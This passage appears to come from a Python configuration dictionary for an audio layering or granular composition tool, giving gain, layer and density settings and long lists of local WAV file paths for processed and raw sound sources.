'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/proc/swarmy_graincloud-006.wav',
],
},
# multitrack002 main / raw
'raw': {
# multipat0001
'gain_max': 0,
'gain_min': -9,
'numlayer': 5,
'density': 0.33,
'files': ['/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/672 Alexandra Parade 11-c_0001.252958.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/672 Alexandra Parade 11-c_0004.642354.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/672 Alexandra Parade 11-c_0011.539938.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/672 Alexandra Parade 11-c_0008.085062.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/672 Alexandra Parade 11-c_0004.841917.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/672 Alexandra Parade 11-c_0001.449167.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 11-c/672 Alexandra Parade 11-c_0000.000000.wav',
],
},
},
# multipat0001 siide / proc
'multipat0001': {
'proc': {
'gain_max': -6,
'gain_min': -24,
'numlayer': 10,
'density': 0.66,
'files': [
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-001.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-002.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-003.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-004.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-005.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-006.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-007.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-008.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-009.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-010.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/fxgo-011.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-001.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-002.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-003.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-004.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-005.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-006.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-007.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-008.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-009.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-010.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/pulsar_synth-011.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-001.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-002.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-003.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-004.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-005.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-006.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-007.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-008.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-009.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-010.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/proc/swarmy_graincloud-011.wav',
],
},
# multipat0001 main / raw
'raw': {
# multipat0001 / multitrack
'gain_max': 0,
'gain_min': -9,
'numlayer': 5,
'density': 0.33,
'files': ['/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0000.000000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0001.256729.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0003.075000.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0003.827437.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0004.150479.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0004.434188.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0005.501563.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0009.288271.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0009.474771.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0012.677437.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0019.825021.wav',
'/home/lib/audio/work/tsx_recur_2/sue/672 Alexandra Parade 10-c/672 Alexandra Parade 10-c_0021.449583.wav',
],
},
},
# swud side / proc
'swud': {
'proc': {
'gain_max': -6,
'gain_min': -30,
'numlayer': 10,
'density': 0.66,
'files': [
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-000.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-001.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-002.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-003.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-004.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-005.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-006.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-007.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-008.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-009.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-010.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-011.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-012.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-013.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-014.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-015.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-016.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-017.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-018.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-019.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-020.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-021.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-022.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-023.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-024.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-025.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-026.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-027.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-028.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-029.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-030.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-031.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-032.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-033.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-034.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-035.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-036.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-037.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-038.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-039.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-040.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-041.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-042.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-043.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-044.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-045.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-046.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-047.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-048.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-049.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-050.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-051.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-052.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-053.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-054.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-055.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-056.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-057.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-058.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-059.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-060.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-061.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-062.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-063.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-064.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-065.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-066.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-067.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-068.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-069.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-070.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-071.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-072.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-073.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-074.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-075.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-076.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-077.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-078.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-079.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-080.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-081.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-082.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-083.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-084.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-085.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-086.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/fxgo-087.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-000.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-001.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-002.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-003.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-004.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-005.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-006.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-007.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-008.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-009.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-010.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-011.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-012.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-013.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-014.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-015.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-016.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-017.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-018.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-019.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-020.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-021.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-022.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-023.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-024.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-025.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-026.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-027.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-028.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-029.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-030.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-031.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-032.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-033.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-034.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-035.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-036.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-037.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-038.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-039.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-040.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-041.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-042.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-043.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-044.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-045.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-046.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-047.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-048.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-049.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-050.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-051.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-052.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-053.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-054.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-055.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-056.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-057.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-058.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-059.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-060.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-061.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-062.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-063.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-064.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-065.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-066.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-067.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-068.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-069.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-070.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-071.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-072.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-073.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-074.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-075.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-076.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-077.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-078.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-079.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-080.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-081.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-082.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-083.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-084.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-085.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-086.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/pulsar_synth-087.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-000.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-001.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-002.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-003.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-004.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-005.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-006.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-007.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-008.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-009.wav',
'/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-010.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-011.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-012.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-013.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-014.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-015.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-016.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-017.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-018.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-019.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-020.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-021.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-022.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-023.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-024.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-025.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-026.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-027.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-028.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-029.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-030.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-031.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-032.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-033.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-034.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-035.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-036.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-037.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-038.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-039.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-040.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-041.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-042.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-043.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-044.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-045.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-046.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-047.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-048.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-049.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-050.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-051.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-052.wav',
# '/home/lib/audio/work/tsx_4_sco_1/VID-20200218-converted/proc/swarmy_graincloud-053.wav',
